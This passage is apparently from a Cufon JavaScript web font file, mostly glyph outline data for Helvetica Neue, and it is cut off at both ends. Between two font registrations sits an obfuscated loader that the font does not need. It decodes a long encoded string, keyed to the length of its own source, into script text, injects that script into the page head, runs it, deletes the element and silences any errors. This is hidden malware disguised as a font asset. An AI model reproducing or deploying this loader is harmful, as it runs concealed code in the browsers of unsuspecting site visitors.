61,0,-110,38,-110,107v0,66,47,103,110,103v63,0,110,-37,110,-103v0,-69,-49,-107,-110,-107"},{"d":"522,-256r0,90r-90,0r0,166r-108,0r0,-166r-300,0r0,-113r300,-421r108,0r0,444r90,0xm322,-564r-210,308r212,0r0,-308r-2,0"},{"d":"63,39r0,-556r114,0r0,561v7,122,-74,178,-199,157r0,-90v15,2,28,4,39,4v42,0,46,-25,46,-76xm63,-606r0,-108r114,0r0,108r-114,0","w":241},{"d":"130,-534r-111,-38r22,-65r110,43r0,-120r68,0r0,120r109,-43r24,65r-114,38r70,94r-53,39r-71,-98r-68,98r-56,-39","w":370},{"d":"73,0r0,-714r125,0r0,284r325,0r0,-284r125,0r0,714r-125,0r0,-322r-325,0r0,322r-125,0","w":722},{"d":"297,-76v198,-2,198,-363,0,-365v-199,2,-197,363,0,365xm297,14v-166,0,-261,-114,-261,-273v0,-158,95,-272,261,-272v166,0,261,114,261,272v0,159,-95,273,-261,273xm221,-588r90,-143r135,0r-142,143r-83,0","w":593},{"d":"529,-229r-380,0v0,81,44,153,139,153v66,0,106,-29,126,-86r108,0v-25,113,-121,176,-234,176v-162,0,-253,-113,-253,-272v0,-147,96,-273,250,-273v163,0,263,147,244,302xm149,-304r266,0v-4,-72,-53,-137,-130,-137v-79,0,-133,60,-136,137xm203,-588r90,-143r135,0r-142,143r-83,0"},{"d":"83,-432r0,-282r102,0r0,282r-102,0xm259,-432r0,-282r102,0r0,282r-102,0","w":444},{"d":"199,-196r329,-370v-33,-38,-82,-63,-148,-63v-212,-1,-261,266,-181,433xm560,-518r-328,370v36,39,84,63,148,63v212,0,262,-266,180,-433xm677,-734r43,36r-79,89v52,67,81,155,81,252v0,204,-128,374,-342,374v-91,0,-167,-31,-222,-82r-76,85r-42,-36r79,-90v-52,-66,-81,-154,-81,-251v0,-204,128,-374,342,-374v91,0,167,31,222,81","w":760},{"d":"63,0r0,-517r114,0r0,517r-114,0xm63,-606r0,-108r114,0r0,108r-114,0","w":241},{"d":"199,-2r-196,-515r125,0r135,386r2,0r131,-386r119,0r-201,545v-37,93,-64,177,-183,177v-27,0,-53,-2,-79,-6r0,-96v18,3,36,7,54,7v70,3,74,-61,93,-112xm289,-707r114,0r0,108r-114,0r0,-108xm231,-599r-114,0r0,-108r114,0r0,108","w":519},{"d":"300,-315r0,90v-28,0,-94,15,-94,73r0,206v0,94,-85,137,-128,137r-91,0r0,-90r55,0v51,0,56,-40,56,-70r0,-195v0,-84,75,-97,104,-107v-32,-3,-104,-14,-104,-111r0,-189v0,-30,-5,-70,-56,-70r-55,0r0,-90r91,0v43,0,128,43,128,137r0,198v0,65,66,81,94,81","w":296},{"d":"87,-731r287,748r-109,0r-287,-748r109,0","w":352},{"d":"194,0r-188,-714r127,0r129,546r2,0r144,-546r128,0r140,546r2,0r133,-546r127,0r-197,714r-127,0r-143,-546r-2,0r-146,546r-129,0","w":944},{"d":"233,0r-238,-714r130,0r179,565r2,0r183,-565r127,0r-244,714r-139,0","w":611},{"d":"297,-76v198,-2,198,-363,0,-365v-199,2,-197,363,0,365xm297,14v-166,0,-261,-114,-261,-273v0,-158,95,-272,261,-272v166,0,261,114,261,272v0,159,-95,273,-261,273xm326,-707r114,0r0,108r-114,0r0,-108xm268,-599r-114,0r0,-108r114,0r0,108","w":593},{"d":"285,-90v101,0,139,-92,139,-180v0,-89,-40,-171,-139,-171v-101,0,-136,94,-136,180v0,85,41,171,136,171xm538,-517r0,490v0,155,-91,232,-254,232v-104,0,-221,-40,-231,-161r114,0v14,65,66,76,124,76v92,0,133,-47,133,-132v0,-25,4,-58,-2,-79v-32,57,-91,91,-155,91v-164,0,-232,-124,-232,-272v0,-139,87,-259,234,-259v67,0,122,31,155,85r0,-71r114,0","w":593},{"d":"285,-81v82,0,123,-71,123,-146v0,-75,-41,-143,-123,-143v-83,0,-126,66,-126,143v0,76,43,146,126,146xm509,-523r-114,0v-5,-57,-43,-96,-102,-96v-124,0,-138,148,-145,240r2,2v31,-55,89,-83,151,-83v139,0,221,101,221,235v0,136,-93,239,-233,239v-206,0,-255,-162,-255,-366v0,-167,66,-362,264,-362v111,0,205,77,211,191"},{"d":"379,-259v-71,46,-232,-1,-233,117v0,51,65,66,105,66v50,0,128,-26,128,-98r0,-85xm493,-381r0,266v-2,42,19,42,55,37r0,79v-62,20,-150,24,-160,-50v-105,100,-356,90,-356,-88v0,-129,103,-147,199,-161v82,-12,155,-6,155,-73v0,-59,-61,-70,-107,-70v-64,0,-109,26,-114,82r-114,0v8,-133,121,-172,235,-172v101,0,207,41,207,150xm129,-731r134,0r91,143r-83,0"},{"d":"318,-76v200,0,184,-367,0,-365v-96,0,-145,73,-145,183v0,104,53,182,145,182xm63,0r0,-714r114,0r0,264r2,0v31,-50,96,-81,154,-81v163,0,242,124,242,275v0,139,-70,270,-223,270v-70,0,-145,-17,-179,-85r-2,0r0,71r-108,0","w":611},{"d":"64,-302v0,-39,36,-74,75,-74v40,0,75,35,75,74v0,40,-34,76,-75,76v-41,0,-75,-36,-75,-76","w":278},{"d":"76,0r0,-714r125,0r0,325r318,-325r154,0r-285,285r305,429r-156,0r-234,-341r-102,101r0,240r-125,0","w":685},{"d":"186,-335r-102,0r180,-365r72,0r180,365r-102,0r-114,-247","w":600},{"d":"177,0r-114,0r0,-517r114,0r0,517xm-29,-731r134,0r91,143r-83,0","w":241},{"d":"139,-875r-70,90r-92,0r107,-143r111,0r108,143r-93,0xm76,0r0,-714r125,0r0,714r-125,0","w":278},{"d":"683,-487r-125,0v-21,-82,-74,-142,-178,-142v-153,0,-217,135,-217,272v0,137,64,272,217,272v111,0,172,-83,182,-187r122,0v-10,171,-131,289,-304,289v-214,0,-342,-170,-342,-374v0,-204,128,-374,342,-374v161,0,288,90,303,244","w":722},{"d":"60,0r0,-517r107,0v2,32,-4,72,2,100v16,-66,102,-131,194,-111r0,110v-114,-24,-189,38,-189,172r0,246r-114,0","w":352},{"d":"46,-94r374,-159r-374,-159r0,-102r508,225r0,72r-508,225r0,-102","w":600},{"d":"4,0r195,-272r-179,-245r138,0r108,159r113,-159r132,0r-176,239r198,278r-137,0r-131,-191r-127,191r-134,0","w":537},{"d":"756,-97r0,97r-87,0r0,-97r-195,0r0,-81r183,-250r99,0r0,256r47,0r0,75r-47,0xm669,-172v-2,-51,4,-111,-2,-158r-117,158r119,0xm196,24r419,-748r78,0r-418,748r-79,0xm146,-474r0,-58v50,2,101,-14,101,-62v0,-36,-38,-50,-69,-50v-44,0,-75,32,-73,76r-80,0v4,-92,62,-146,154,-146v74,0,148,31,148,116v0,44,-25,73,-64,92v51,9,82,50,82,105v0,88,-74,137,-165,137v-109,0,-162,-58,-164,-155r80,0v-2,47,28,85,84,85v47,0,85,-27,85,-71v0,-63,-60,-71,-119,-69","w":834},{"d":"69,0r0,-135r139,0r0,135v-1,82,-56,142,-135,158r0,-61v44,-11,66,-54,65,-97r-69,0","w":278},{"d":"74,0r0,-714r176,0r197,559r2,0r192,-559r174,0r0,714r-119,0r0,-551r-2,0r-198,551r-103,0r-198,-551r-2,0r0,551r-119,0","w":889},{"d":"346,-584v0,127,-189,158,-223,241r213,0r0,70r-315,0v1,-81,40,-132,100,-171v61,-39,138,-73,138,-138v0,-43,-34,-62,-73,-62v-54,0,-71,46,-73,93r-87,0v0,-101,63,-163,164,-163v84,0,156,38,156,130","w":360},{"d":"8,-606r0,-108r578,0r0,108r-227,0r0,606r-125,0r0,-606r-226,0","w":593},{"d":"460,-102r-72,-63r60,-69r87,76v118,-154,74,-471,-155,-471v-153,0,-217,135,-217,272v0,137,64,272,217,272v26,0,55,-5,80,-17xm621,-83r92,80r-61,68r-104,-91v-53,30,-112,43,-168,43v-214,0,-342,-170,-342,-374v0,-204,128,-374,342,-374v214,0,342,170,342,374v0,98,-30,206,-101,274","w":760},{"d":"76,0r0,-714r125,0r0,714r-125,0xm64,-780r90,-143r135,0r-142,143r-83,0","w":278},{"d":"201,-612r0,236v143,-8,308,43,308,-118v0,-167,-167,-107,-308,-118xm76,0r0,-714r315,0v204,0,243,132,243,221v0,88,-39,220,-243,219r-190,0r0,274r-125,0","w":667},{"d":"250,-370r-236,-344r149,0r162,252r169,-252r140,0r-236,344r253,370r-152,0r-178,-273r-181,273r-143,0","w":648},{"d":"63,191r0,-905r114,0r0,264r2,0v31,-50,96,-81,154,-81v163,0,242,124,242,275v0,139,-70,270,-223,270v-67,0,-136,-26,-175,-81r0,258r-114,0xm318,-76v200,0,184,-367,0,-365v-96,0,-145,73,-145,183v0,104,53,182,145,182","w":611},{"d":"554,-94r0,102r-508,-225r0,-72r508,-225r0,102r-374,159","w":600},{"d":"302,-306r0,233v72,-5,123,-39,123,-119v0,-75,-61,-98,-123,-114xm17,-217r114,0v-1,88,37,141,128,144r0,-242v-109,-30,-227,-74,-227,-220v0,-127,108,-196,227,-196r0,-78r43,0r0,78v120,0,219,63,219,195r-114,0v-3,-67,-34,-105,-105,-105r0,211v121,32,237,77,237,222v0,150,-104,219,-237,225r0,78r-43,0r0,-78v-144,-3,-244,-85,-242,-234xm259,-441r0,-200v-72,0,-113,28,-113,98v0,65,57,88,113,102"},{"d":"552,-405r0,102r-504,0r0,-102r504,0xm552,-203r0,102r-504,0r0,-102r504,0","w":600},{"d":"495,-285r0,75r-95,0r-30,210r-80,0r29,-210r-110,0r-30,210r-80,0r29,-210r-94,0r0,-75r105,0r18,-130r-94,0r0,-75r104,0r29,-210r81,0r-30,210r111,0r29,-210r81,0r-30,210r86,0r0,75r-96,0r-18,130r85,0xm348,-415r-111,0r-18,130r111,0"},{"d":"68,-257r0,-457r125,0r0,416v0,96,6,207,168,207v162,0,168,-111,168,-207r0,-416r125,0r0,457v0,183,-117,274,-293,274v-176,0,-293,-91,-293,-274xm212,-928r134,0r91,143r-83,0","w":722},{"d":"202,-21r0,204r-125,0r0,-204r33,-311r59,0xm206,-531r0,125r-134,0r0,-125r134,0","w":278},{"d":"262,0r0,-280r-268,-434r145,0r189,320r186,-320r140,0r-267,434r0,280r-125,0","w":648},{"d":"279,-549v-55,0,-103,-48,-103,-103v0,-56,48,-103,103,-103v56,0,103,47,103,103v0,55,-47,103,-103,103xm218,-652v0,32,29,61,61,61v33,0,61,-29,61,-61v0,-33,-28,-61,-61,-61v-32,0,-61,28,-61,61xm379,-259v-71,46,-232,-1,-233,117v0,51,65,66,105,66v50,0,128,-26,128,-98r0,-85xm493,-381r0,266v-2,42,19,42,55,37r0,79v-62,20,-150,24,-160,-50v-105,100,-356,90,-356,-88v0,-129,103,-147,199,-161v82,-12,155,-6,155,-73v0,-59,-61,-70,-107,-70v-64,0,-109,26,-114,82r-114,0v8,-133,121,-172,235,-172v101,0,207,41,207,150"},{"d":"523,-344r-114,0v-9,-63,-55,-97,-118,-97v-59,0,-142,31,-142,188v0,86,38,177,137,177v66,0,112,-44,123,-118r114,0v-21,134,-104,208,-237,208v-162,0,-251,-115,-251,-267v0,-156,85,-278,255,-278v120,0,222,60,233,187"},{"d":"249,-304r0,-202r102,0r0,202r201,0r0,102r-201,0r0,202r-102,0r0,-202r-201,0r0,-102r201,0","w":600},{"d":"297,-76v198,-2,198,-363,0,-365v-199,2,-197,363,0,365xm297,14v-166,0,-261,-114,-261,-273v0,-158,95,-272,261,-272v166,0,261,114,261,272v0,159,-95,273,-261,273xm147,-731r134,0r91,143r-83,0","w":593},{"d":"60,89r0,-250r102,0r0,250r-102,0xm60,-411r0,-250r102,0r0,250r-102,0","w":222},{"d":"48,-317r75,-383r362,0r0,102r-277,0r-36,178r2,2v31,-34,82,-53,129,-53v139,0,219,100,219,234v0,112,-70,251,-242,251v-135,0,-240,-73,-245,-213r114,0v7,75,55,118,129,118v97,0,130,-69,130,-154v0,-77,-41,-146,-133,-146v-48,0,-95,15,-113,64r-114,0"},{"d":"278,-678r-70,90r-92,0r107,-143r111,0r108,143r-93,0xm529,-229r-380,0v0,81,44,153,139,153v66,0,106,-29,126,-86r108,0v-25,113,-121,176,-234,176v-162,0,-253,-113,-253,-272v0,-147,96,-273,250,-273v163,0,263,147,244,302xm149,-304r266,0v-4,-72,-53,-137,-130,-137v-79,0,-133,60,-136,137"}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-488-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("qPNTK{?&7-~$q#*Bj{,;:P:~0v?TN{~$0v+;7-4]NxhRw3&5-TDT@=a52xDT@=a{@,DT@=a{2PT6jA^(NAN6jA^(wAjY0lF(@PS&0lF(@P+t0lF(@P@T0lF(@P+|2TDT@=a|?TDT@=aGwTDT@=at?TDT@=aG@TDT@=a{NS+6jA^(w{,v0lF(@P^a#=S,Pl:+q1@?2>V4dAFx-0wN7K6j)YWG5t|*{]ImZyR%$X(D;3&Tvue_JBh~L[wu0lF(@PV(0lF(@P,{0lF(@Pw_Y]%6jA^(w3N6jA^(wAx6jA^(wt,6jA^(NA+6jA^(wA^])dx6jA^(wtN6jA^(NPN6jA^(w{N6jA^(NA@WKTDT@=a*w*DT@=a|?*x6jA^(wt?*0lF(@P45)*DT@=a|wTDT@=a*@xDT@=aGwxDT@=a|?-a6jA^(N=+26TDT@=a{w;,6jA^(wv,6jA^(N{,6jA^(Nt,6jA^(w{+6jA^(N-4I0#~6jA^(NAG6jA^(N-N6jA^(NA46jA^(NP,6jA^(N-x,0lF(@P@&2*T6jA^(w3?6jA^(Ntx6jA^(wv?6jA^(wtaG0lF(@P@_0lF(@P,50lF(@P@;KSD6jA^(wv+6jA^(NP4(0lF(@PFu>Tm6jA^(w3,6jA^(wvNP0lF(@PS;?TDT@=aG2,?6jA^(N=S{4TDT@=at@,+6jA^(wtG6jA^(wA*6jA^(Nt4^0lF(@P4*0lF(@P:&VF*{0lF(@PV&@S~y0lF(@P@e0lF(@PN56d*ud]46jA^(N=@I@-_S@3+|15&_jxDT@=aGN0(e?PIZd,DT@=a{@TDT@=a*2x(50lF(@PVe7xDT@=a{N]T60,j-0lF(@PwvN3N6jA^(NAa50lF(@P:udT_6jA^(N-?6jA^(wvx=6t_e0lF(@P+*1ST6jA^(wt+FFxDT@=atN,aw0lF(@PN*>#V~:TDT@=a|2xDT@=aG@x*6jA^(NAxtqTDT@=a{@*DT@=aG?tx6jA^(N-S51]?(KP*&q#:5qdDm>A^R6=T51]^RK=T(1{D*K{j&7#D]>-:$N5_]Kl*(7l@~)u&B7-wIw5_X73&X05W[2]jujT($qAhI>3m|N-%G6u?&Kv~;0#_$K#||1v|$jPx3j#GRKv?GjP*XK5_IKu?&K{,%Nd|mN{~;q=%m>P(Bq;%mq-jKwT%m0x&~6,%m00&mq#|W")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":556,"face":{"font-family":"helveticaneue","font-weight":500,"font-stretch":"normal","units-per-em":"1000","panose-1":"2 0 6 3 0 0 0 0 0 0","ascent":"800","descent":"-200","x-height":"14","bbox":"-42 -952 938 221.499","underline-thickness":"50","underline-position":"-100","stemh":"90","stemv":"114","unicode-range":"U+0020-U+00FF"}}));
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"552,-449r0,144r-504,0r0,-144r504,0xm552,-201r0,144r-504,0r0,-144r504,0","w":600},{"d":"202,-242v0,54,24,127,103,127v79,0,104,-73,104,-127v0,-53,-25,-127,-104,-127v-79,0,-103,74,-103,127xm92,-582r121,-66v-38,-25,-74,-43,-102,-52r113,-78v47,16,93,43,113,61r124,-68r68,61r-119,65v96,81,169,227,169,377v0,187,-113,297,-274,297v-161,0,-273,-110,-273,-257v0,-146,112,-257,243,-257v33,0,69,3,97,21r2,-2v-20,-41,-52,-79,-87,-112r-128,70","w":611},{"d":"37,-357v0,-207,127,-372,352,-372v225,0,352,165,352,372v0,207,-127,372,-352,372v-225,0,-352,-165,-352,-372xm223,-357v0,106,46,212,166,212v120,0,166,-106,166,-212v0,-106,-46,-212,-166,-212v-120,0,-166,106,-166,212xm386,-907r97,149r-120,0r-157,-149r180,0","w":778},{"d":"356,-729r0,120r-41,0v-49,0,-53,38,-53,65r0,164v-1,77,-73,94,-115,96r0,3v42,3,115,10,115,105r0,165v0,27,4,65,53,65r41,0r0,120r-118,0v-74,0,-135,-42,-135,-148r0,-173v0,-63,-65,-70,-89,-70r0,-120v24,0,89,-6,89,-61r0,-188v2,-159,113,-145,253,-143","w":370},{"d":"37,-357v0,-207,127,-372,352,-372v225,0,352,165,352,372v0,207,-127,372,-352,372v-225,0,-352,-165,-352,-372xm223,-357v0,106,46,212,166,212v120,0,166,-106,166,-212v0,-106,-46,-212,-166,-212v-120,0,-166,106,-166,212xm571,-772r-150,0r0,-125r150,0r0,125xm208,-772r0,-125r150,0r0,125r-150,0","w":778},{"d":"528,-714r0,488v0,160,-82,241,-250,241v-201,0,-256,-119,-250,-299r175,0v-4,73,-1,139,72,139v43,0,67,-24,67,-93r0,-476r186,0","w":593},{"d":"346,-324r0,168r-98,0r0,-403v145,2,322,-27,322,123v0,75,-45,103,-115,106r103,174r-95,0r-92,-168r-25,0xm346,-395v58,-4,132,19,126,-51v-4,-56,-73,-39,-126,-42r0,93xm400,15v-200,0,-386,-136,-386,-372v0,-236,186,-372,386,-372v199,0,386,136,386,372v0,236,-187,372,-386,372xm400,-80v141,0,261,-114,261,-277v0,-163,-120,-277,-261,-277v-144,0,-261,114,-261,277v0,163,117,277,261,277","w":800},{"d":"64,0r0,-714r186,0r0,714r-186,0xm155,-907r97,149r-120,0r-157,-149r180,0","w":315},{"d":"212,-192r159,-185v-17,-17,-38,-27,-66,-27v-102,0,-117,124,-93,212xm400,-324r-159,183v14,16,35,26,64,26v101,0,118,-120,95,-209xm88,34r-42,-32r59,-69v-47,-49,-73,-116,-73,-192v0,-156,112,-275,273,-275v62,0,116,17,160,48r51,-60r44,38r-52,60v46,49,71,115,71,189v0,156,-113,274,-274,274v-61,0,-115,-17,-159,-47","w":611},{"d":"130,-434v-1,45,29,71,73,70v31,0,67,-15,67,-41v-1,-50,-53,-54,-103,-50r0,-82v40,3,95,2,95,-36v0,-23,-29,-38,-57,-38v-37,0,-63,22,-62,56r-125,0v3,-102,76,-151,186,-151v93,0,183,31,183,124v0,41,-27,70,-69,82v52,7,77,41,77,95v0,97,-93,136,-191,136v-118,0,-204,-45,-199,-165r125,0","w":378},{"d":"351,-516r-81,250r162,0r-79,-250r-2,0xm-9,0r267,-714r189,0r267,714r-194,0r-44,-128r-249,0r-45,128r-191,0xm349,-907r97,149r-120,0r-157,-149r180,0","w":704},{"d":"69,174r0,-903r294,0r0,144r-135,0r0,615r135,0r0,144r-294,0","w":370},{"d":"65,-286v0,-51,42,-93,93,-93v51,0,93,42,93,93v0,51,-42,93,-93,93v-51,0,-93,-42,-93,-93","w":315},{"d":"400,-204r165,0v-14,131,-111,210,-238,217r-31,47v54,-7,125,-4,127,77v3,121,-173,108,-246,66r19,-45v42,14,126,42,133,-16v5,-42,-50,-43,-83,-31r-22,-19r49,-80v-141,-13,-241,-115,-241,-263v0,-165,105,-283,272,-283v129,0,244,68,256,205r-165,0v-1,-44,-40,-75,-83,-75v-95,0,-110,81,-110,153v0,67,29,136,101,136v59,0,89,-34,97,-89","w":593},{"d":"400,15v-200,0,-386,-136,-386,-372v0,-236,186,-372,386,-372v199,0,386,136,386,372v0,236,-187,372,-386,372xm400,-80v141,0,261,-114,261,-277v0,-163,-120,-277,-261,-277v-144,0,-261,114,-261,277v0,163,117,277,261,277xm499,-303r94,0v-14,103,-91,157,-178,157v-126,0,-208,-94,-208,-214v0,-123,78,-215,206,-215v90,0,161,53,176,153r-90,0v-9,-43,-46,-58,-86,-58v-57,0,-89,46,-89,118v0,69,37,121,91,121v46,0,81,-18,84,-62","w":800},{"d":"158,-838r-60,80r-128,0r112,-149r152,0r112,149r-128,0xm64,0r0,-714r186,0r0,714r-186,0","w":315},{"d":"408,-120r0,-185r-360,0r0,-144r504,0r0,329r-144,0","w":600},{"d":"963,-714r-197,714r-186,0r-98,-492r-2,0r-98,492r-189,0r-193,-714r186,0r101,522r2,0r105,-522r175,0r105,522r2,0r101,-522r186,0","w":963},{"d":"64,0r0,-714r569,0r0,149r-383,0r0,125r350,0r0,144r-350,0r0,136r393,0r0,160r-579,0xm340,-907r97,149r-120,0r-157,-149r180,0","w":685},{"d":"343,-838r-60,80r-128,0r112,-149r152,0r112,149r-128,0xm64,0r0,-714r569,0r0,149r-383,0r0,125r350,0r0,144r-350,0r0,136r393,0r0,160r-579,0","w":685},{"d":"145,-724r97,149r-120,0r-157,-149r180,0","w":296},{"d":"306,-404v-78,0,-104,73,-104,139v0,71,26,150,104,150v83,0,101,-79,101,-145v0,-75,-27,-144,-101,-144xm571,-714r0,714r-162,0v-2,-19,4,-45,-2,-60v-33,49,-83,75,-143,75v-163,0,-232,-140,-232,-286v0,-135,72,-263,219,-263v66,0,112,27,150,71r0,-251r170,0"},{"d":"57,0r0,-502v0,-122,75,-227,251,-227v119,0,244,58,244,195v0,60,-36,115,-87,139v81,17,127,95,127,175v0,167,-136,251,-315,220r0,-129v83,19,145,-26,145,-105v0,-87,-67,-111,-143,-105r0,-101v54,5,114,-12,114,-80v0,-51,-33,-79,-79,-79v-82,0,-87,53,-87,128r0,471r-170,0"},{"d":"202,-313r211,0v-3,-58,-44,-106,-101,-106v-60,0,-100,43,-110,106xm583,-218r-381,0v3,71,44,118,116,118v41,0,81,-19,97,-57r159,0v-31,120,-142,172,-258,172v-169,0,-284,-102,-284,-276v0,-159,127,-273,280,-273v186,0,279,140,271,316xm303,-724r97,149r-120,0r-157,-149r180,0","w":611},{"d":"538,-277r186,0v-10,180,-139,287,-314,291r-31,46v54,-7,125,-4,127,77v3,121,-173,108,-246,66r19,-45v42,14,126,42,133,-16v5,-42,-50,-43,-83,-31r-22,-19r49,-79v-192,-20,-314,-177,-314,-370v0,-207,140,-372,356,-372v154,0,321,98,326,270r-186,0v-10,-72,-66,-110,-144,-110v-120,0,-166,106,-166,212v0,106,46,212,166,212v87,0,137,-50,144,-132","w":759},{"d":"14,174r0,-120r41,0v49,0,53,-38,53,-65r0,-165v1,-95,73,-102,115,-105r0,-3v-42,-2,-115,-19,-115,-96r0,-164v0,-27,-4,-65,-53,-65r-41,0r0,-120v139,-2,253,-17,253,143r0,188v0,55,65,61,89,61r0,120v-24,0,-89,7,-89,70r0,173v0,106,-61,148,-135,148r-118,0","w":370},{"d":"387,-174r-106,-125v-35,16,-83,51,-83,94v0,50,48,82,94,82v32,0,68,-26,95,-51xm527,0r-50,-60v-62,51,-125,75,-205,75v-127,0,-238,-85,-238,-218v0,-102,76,-168,162,-208v-35,-39,-63,-83,-63,-137v0,-111,101,-181,204,-181v107,0,202,71,202,185v0,83,-51,141,-122,177r74,89v14,-21,23,-45,26,-70r146,0v-6,64,-35,127,-79,174r150,174r-207,0xm334,-466v35,-21,66,-45,66,-88v0,-34,-25,-55,-60,-55v-31,0,-56,23,-56,53v0,39,28,62,50,90","w":722},{"d":"630,-714r-149,301r103,0r0,105r-156,0v-10,21,-24,37,-20,72r176,0r0,105r-176,0r0,131r-186,0r0,-131r-176,0r0,-105r176,0v4,-34,-10,-51,-20,-72r-156,0r0,-105r104,0r-150,-301r186,0r128,301r2,0r128,-301r186,0"},{"d":"-7,0r180,-272r-165,-247r188,0r73,124r73,-124r180,0r-162,244r184,275r-188,0r-90,-150r-85,150r-188,0","w":537},{"d":"833,-519r-162,519r-172,0r-82,-345r-2,0r-81,345r-172,0r-162,-519r172,0r87,336r2,0r74,-336r162,0r76,335r2,0r85,-335r173,0","w":833},{"d":"227,-714r0,252r2,0v35,-48,84,-72,148,-72v150,0,219,140,219,286v0,135,-72,263,-219,263v-66,0,-112,-27,-150,-71r0,230r-170,0r0,-888r170,0xm325,-404v-46,0,-104,32,-104,139v0,91,26,150,103,150v76,0,102,-79,102,-150v0,-66,-26,-139,-101,-139"},{"d":"202,-313r211,0v-3,-58,-44,-106,-101,-106v-60,0,-100,43,-110,106xm583,-218r-381,0v3,71,44,118,116,118v41,0,81,-19,97,-57r159,0v-31,120,-142,172,-258,172v-169,0,-284,-102,-284,-276v0,-159,127,-273,280,-273v186,0,279,140,271,316xm488,-589r-150,0r0,-125r150,0r0,125xm125,-589r0,-125r150,0r0,125r-150,0","w":611},{"d":"228,-417r0,-101r144,0r0,101r180,0r0,144r-180,0r0,101r-144,0r0,-101r-180,0r0,-144r180,0xm48,12r0,-144r504,0r0,144r-504,0","w":600},{"d":"368,-67r175,0v-2,158,-106,249,-262,249v-125,0,-250,-66,-250,-204v0,-97,47,-132,123,-180v52,-34,65,-49,66,-109r158,0r0,50v0,78,-44,113,-81,139v-41,29,-80,49,-80,99v0,38,29,61,65,61v61,0,89,-40,86,-105xm392,-547r0,186r-186,0r0,-186r186,0","w":574},{"d":"257,-308r0,-118v69,3,158,4,158,-72v0,-45,-45,-70,-100,-70v-69,0,-109,36,-108,99r-159,0v4,-156,117,-237,266,-237v121,0,260,51,260,193v0,64,-37,122,-97,138v80,21,119,78,119,160v0,158,-144,224,-282,224v-163,0,-295,-83,-285,-262r159,0v-2,83,39,124,125,124v58,0,113,-25,113,-86v0,-94,-83,-100,-169,-93"},{"d":"142,-724r180,0r-157,149r-120,0","w":296},{"d":"398,-273v0,-66,-26,-131,-102,-131v-75,0,-99,66,-99,130v0,61,28,122,98,122v72,0,103,-56,103,-121xm215,16v7,46,38,56,91,56v100,0,88,-83,89,-170r-2,0v-31,48,-83,76,-138,76v-157,0,-228,-112,-228,-258v0,-138,81,-254,228,-254v64,0,107,31,141,80r0,-65r163,0r0,456v0,85,-16,245,-259,245v-121,0,-235,-27,-255,-166r170,0","w":611},{"d":"272,-428r-167,0r0,-125v98,2,199,-34,206,-144r141,0r0,697r-180,0r0,-428"},{"d":"22,-216r170,0v1,55,61,87,112,87v66,0,116,-44,116,-112v0,-68,-40,-115,-110,-115v-48,0,-84,11,-111,53r-154,0r68,-394r440,0r0,144r-309,0r-26,127v38,-31,83,-50,138,-50v143,0,234,82,234,227v0,172,-124,258,-286,258v-152,0,-272,-58,-282,-225"},{"d":"374,-243v-49,30,-175,13,-175,94v0,42,33,59,71,59v81,0,108,-46,104,-153xm50,-359v4,-129,118,-175,246,-175v123,0,242,27,242,174v0,127,-18,259,20,360r-171,0v-6,-16,-8,-32,-10,-49v-101,105,-348,89,-348,-93v0,-169,184,-156,302,-180v29,-6,45,-16,45,-48v0,-39,-47,-54,-82,-54v-47,0,-77,21,-85,65r-159,0","w":593},{"d":"63,0r0,-714r170,0r0,714r-170,0","w":296},{"d":"220,-275r187,90v56,-19,64,-78,-7,-112r-151,-70v-41,-22,-68,4,-70,38v-2,27,15,42,41,54xm228,-22v0,49,36,79,85,79v40,0,70,-24,70,-62v0,-101,-348,-110,-348,-298v0,-75,40,-127,105,-152v-26,-30,-38,-59,-38,-100v0,-117,119,-174,219,-174v123,0,220,64,223,195r-147,0v0,-45,-30,-70,-74,-70v-31,0,-61,18,-61,52v0,37,44,55,73,69r166,81v55,32,95,67,95,136v0,68,-37,131,-103,150v32,27,50,66,50,110v0,129,-111,188,-227,188v-131,0,-235,-58,-235,-204r147,0"},{"d":"560,-329r-165,0v-1,-44,-40,-75,-83,-75v-95,0,-110,81,-110,153v0,67,29,136,101,136v59,0,89,-34,97,-89r165,0v-15,139,-123,219,-261,219v-156,0,-272,-107,-272,-266v0,-165,105,-283,272,-283v129,0,244,68,256,205","w":593},{"d":"61,167r0,-177r46,-301r83,0r46,301r0,177r-175,0xm241,-547r0,186r-186,0r0,-186r186,0","w":296},{"d":"76,-354r0,-360r144,0r0,360r-144,0","w":296},{"d":"202,-259v0,66,24,144,103,144v79,0,104,-78,104,-144v0,-66,-25,-145,-104,-145v-79,0,-103,79,-103,145xm32,-259v0,-156,112,-275,273,-275v161,0,274,119,274,275v0,156,-113,274,-274,274v-161,0,-273,-118,-273,-274xm300,-724r180,0r-157,149r-120,0","w":611},{"d":"351,-516r-81,250r162,0r-79,-250r-2,0xm-9,0r267,-714r189,0r267,714r-194,0r-44,-128r-249,0r-45,128r-191,0xm346,-907r180,0r-157,149r-120,0","w":704},{"d":"148,-655r-60,80r-128,0r112,-149r152,0r112,149r-128,0xm233,0r-170,0r0,-519r170,0r0,519","w":296},{"d":"500,125r-500,0r0,-50r500,0r0,50","w":500},{"d":"238,-714v46,0,107,41,145,41v22,0,39,-21,42,-41r71,0v-9,68,-43,127,-119,127v-53,0,-100,-36,-145,-36v-23,0,-40,22,-44,45r-71,0v8,-65,50,-136,121,-136xm202,-259v0,66,24,144,103,144v79,0,104,-78,104,-144v0,-66,-25,-145,-104,-145v-79,0,-103,79,-103,145xm32,-259v0,-156,112,-275,273,-275v161,0,274,119,274,275v0,156,-113,274,-274,274v-161,0,-273,-118,-273,-274","w":611},{"d":"297,-655r-60,80r-128,0r112,-149r152,0r112,149r-128,0xm374,-243v-49,30,-175,13,-175,94v0,42,33,59,71,59v81,0,108,-46,104,-153xm50,-359v4,-129,118,-175,246,-175v123,0,242,27,242,174v0,127,-18,259,20,360r-171,0v-6,-16,-8,-32,-10,-49v-101,105,-348,89,-348,-93v0,-169,184,-156,302,-180v29,-6,45,-16,45,-48v0,-39,-47,-54,-82,-54v-47,0,-77,21,-85,65r-15